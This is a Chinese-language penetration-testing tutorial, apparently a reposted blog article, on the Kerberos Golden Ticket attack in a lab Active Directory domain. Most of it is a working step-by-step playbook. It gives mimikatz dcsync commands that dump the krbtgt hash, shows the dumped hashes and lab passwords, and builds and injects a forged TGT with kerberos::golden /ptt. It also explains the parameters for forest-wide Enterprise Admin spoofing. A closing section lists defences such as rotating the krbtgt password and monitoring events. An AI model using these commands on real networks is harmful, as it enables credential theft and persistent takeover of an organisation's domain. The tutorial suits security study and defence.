|
原文链接:内网域渗透 | 黄金票据攻击(Golden Ticket Attack)
0x01 前言
Kerberos认证原理网上讲的有很多很详细,在此就不赘述,直接实战过程。
域控:
IP:192.168.3.142域名:0day.org主机名:OWA2010SP3用户名:administrator密码:Admin12345域机器:
IP:192.168.3.68域名:0day.org用户名:administrator密码:admin!@#45黄金票据利用条件:
1.域名称2.域的SID值3.域的KRBTGT账户NTLM密码哈希4.伪造用户名0x02 获取Krbtgt的NTLM Hash
利用mimikatz获取Krbtgt的NTLM HASH、SID等信息
mimikatz.exe "log" "privilege::debug" "lsadump::dcsync /domain:0day.org /user:krbtgt" "exit"
编辑
提取部分信息:
SAM Username : krbtgtAccount Type : 30000000 ( USER_OBJECT )User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )Account expiration : Password last change : 2019/5/19 6:40:46Object Security ID : S-1-5-21-1812960810-2335050734-3517558805-502Object Relative ID : 502Credentials: Hash NTLM: 36f9d9e6d98ecf8307baf4f46ef842a2 ntlm- 0: 36f9d9e6d98ecf8307baf4f46ef842a2 lm - 0: 47c5bb5ef18a11f910970a60ecd6c95bSupplemental Credentials:* Primary:Kerberos-Newer-Keys * Default Salt : 0DAY.ORGkrbtgt Default Iterations : 4096 Credentials aes256_hmac (4096) : dbc55f9f925de5a482d3bf5ede7d0d46d4b121c01bdd9d06be4aed367212d3f9 aes128_hmac (4096) : ee76ee32ff14974d8a6248c52f1bfe97 des_cbc_md5 (4096) : bf571a26da68d6f8我们需要用到的信息如下:
Hash NTLM: 36f9d9e6d98ecf8307baf4f46ef842a2SID : S-1-5-21-1812960810-2335050734-3517558805-502在未注入票据前我们dir看一下发现域成员机器是查看不到域控的共享信息
编辑
0x03 部分命令
net group "domain admins" /domain //查询域管理员命令wmic useraccount get name,sid //获取域SIDwhoami /user //获取当前用户的SIDMimikatz命令格式如下:kerberos :: golden / user:ADMIINACCOUNTNAME / domain:DOMAINFQDN / id:ACCOUNTRID / sid:DOMAINSID / krbtgt:KRBTGTPASSWORDHASH / ptt示例:kerberos::golden /user:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:Xiao.kirbi/domain -----完整的域名,在这个例子中:“lab.adsecurity.org”/ sid ----域的SID,在这个例子中:“S-1-5-21-1473643419-774954089-2222329127”/ sids --- AD森林中账户/组的额外SID,凭证拥有权限进行欺骗。通常这将是根域Enterprise Admins组的“S-1-5-21-1473643419-774954089-5872329127-519”值。Ť/ user ---伪造的用户名/ groups(可选)---用户所属的组RID(第一组是主组)。添加用户或计算机帐户RID以接收相同的访问权限。默认组:513,512,520,518,519为默认的管理员组。/ krbtgt---域KDC服务帐户(KRBTGT)的NTLM密码哈希值。用于加密和签署TGT。/ ticket(可选) - 提供一个路径和名称,用于保存Golden Ticket文件以便日后使用或使用/ ptt立即将黄金票据插入内存以供使用。/ ptt - 作为/ ticket的替代品 - 使用它来立即将伪造的票据插入到内存中以供使用。/ id(可选) - 用户RID。Mimikatz默认值是500(默认管理员帐户RID)。/ startoffset(可选) - 票据可用时的起始偏移量(如果使用此选项,通常设置为-10或0)。Mimikatz默认值是0。/ endin(可选) - 票据使用时间范围。Mimikatz默认值是10年(〜5,262,480分钟)。Active Directory默认Kerberos策略设置为10小时(600分钟)。/ renewmax(可选) - 续订最长票据有效期。Mimikatz默认值是10年(〜5,262,480分钟)。Active Directory默认Kerberos策略设置为7天(10,080分钟)。/ sids(可选) - 设置为AD林中企业管理员组(ADRootDomainSID)-519)的SID,以欺骗整个AD林(AD林中每个域中的AD管理员)的企业管理权限。/ aes128 - AES128密钥/ aes256 - AES256密钥黄金票默认组:域用户SID:S-1-5-21 <DOMAINID> -513域管理员SID:S-1-5-21 <DOMAINID> -512架构管理员SID:S-1-5-21 <DOMAINID> -518企业管理员SID:S-1-5-21 <DOMAINID> -519(只有在森林根域中创建伪造票证时才有效,但为AD森林管理员权限添加使用/ sids参数)组策略创建者所有者SID:S-1-5-21 <DOMAINID> -520
获取域SID命令:
wmic useraccount get name,sid
编辑
C:\Users\Administrator>wmic useraccount get name,sidName SIDAdministrator S-1-5-21-1812960810-2335050734-3517558805-500Guest S-1-5-21-1812960810-2335050734-3517558805-501krbtgt S-1-5-21-1812960810-2335050734-3517558805-502SM_32dfa537f3d34e8db S-1-5-21-1812960810-2335050734-3517558805-1119SM_b9293dd4eb974c39a S-1-5-21-1812960810-2335050734-3517558805-1120SM_a53ca95cbbc2400a8 S-1-5-21-1812960810-2335050734-3517558805-1121SM_cabbcb1fa25c4786a S-1-5-21-1812960810-2335050734-3517558805-1123itadmin S-1-5-21-1812960810-2335050734-3517558805-1125antivirus S-1-5-21-1812960810-2335050734-3517558805-1126mary S-1-5-21-1812960810-2335050734-3517558805-1127jerry S-1-5-21-1812960810-2335050734-3517558805-1128hr S-1-5-21-1812960810-2335050734-3517558805-1129lowser S-1-5-21-1812960810-2335050734-3517558805-1131jack S-1-5-21-1812960810-2335050734-3517558805-1133alan S-1-5-21-1812960810-2335050734-3517558805-1134tadmin S-1-5-21-1812960810-2335050734-3517558805-1136boss S-1-5-21-1812960810-2335050734-3517558805-1137dev S-1-5-21-1812960810-2335050734-3517558805-1138backup S-1-5-21-1812960810-2335050734-3517558805-1140sqlsvr S-1-5-21-1812960810-2335050734-3517558805-1141sqladmin S-1-5-21-1812960810-2335050734-3517558805-1142webadmin S-1-5-21-1812960810-2335050734-3517558805-1143ftpuser S-1-5-21-1812960810-2335050734-3517558805-1153websvr S-1-5-21-1812960810-2335050734-3517558805-1158klion S-1-5-21-1812960810-2335050734-3517558805-1159klionsec S-1-5-21-1812960810-2335050734-3517558805-11610day S-1-5-21-1812960810-2335050734-3517558805-1162test S-1-5-21-1812960810-2335050734-3517558805-1163Redteamer S-1-5-21-1812960810-2335050734-3517558805-1169RedTeamBox S-1-5-21-1812960810-2335050734-3517558805-1171secretary S-1-5-21-1812960810-2335050734-3517558805-1173获取当前用户的SID
whoami /user
编辑
查询域管理员账号
net group "domain admins" /domain
编辑
0x04 金票传递
我们之前已经获取到了域控的SID以及NTLM Hash等信息,接下来利用mimikatz生成包含krbtgt身份的票据,命令执行成功会在当前目录下生成kirbi文件
kerberos::golden /user:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:Xiao.kirbi /admin:伪造的用户名 /domain: 域名 /sid:SID值 /krbtgt:krbtgt的HASH值 /ticket:生成的票据名称 编辑
票据传递并注入内存
编辑
注入成功,查看注入的票据。发现票据已经在内存中了
kerberos::tgt
编辑
获取域控权限
编辑
清除当前主机会话中的票据:
kerberos::purge
编辑
0x05 黄金票据(Golden Ticket Attack)防御
1.限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机。这降低攻击者通过横向扩展,获取域管理员的账户,获得访问域控制器的Active Directory的ntds.dit的权限。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码。
2.建议定期更改KRBTGT密码。更改一次,然后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法。
3.一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效。这将使所有Kerberos票据无效,并消除攻击者使用其KRBTGT创建有效金票的能力。
4.侦测监视异常的Kerberos活动,例如Windows登录/注销事件(事件ID 4624、4672、4634)中的格式错误或空白字段,TGT中的RC4加密以及TGS请求,而无需前面的TGT请求。监视TGT票证的生存期,以获取与默认域持续时间不同的值。
|
|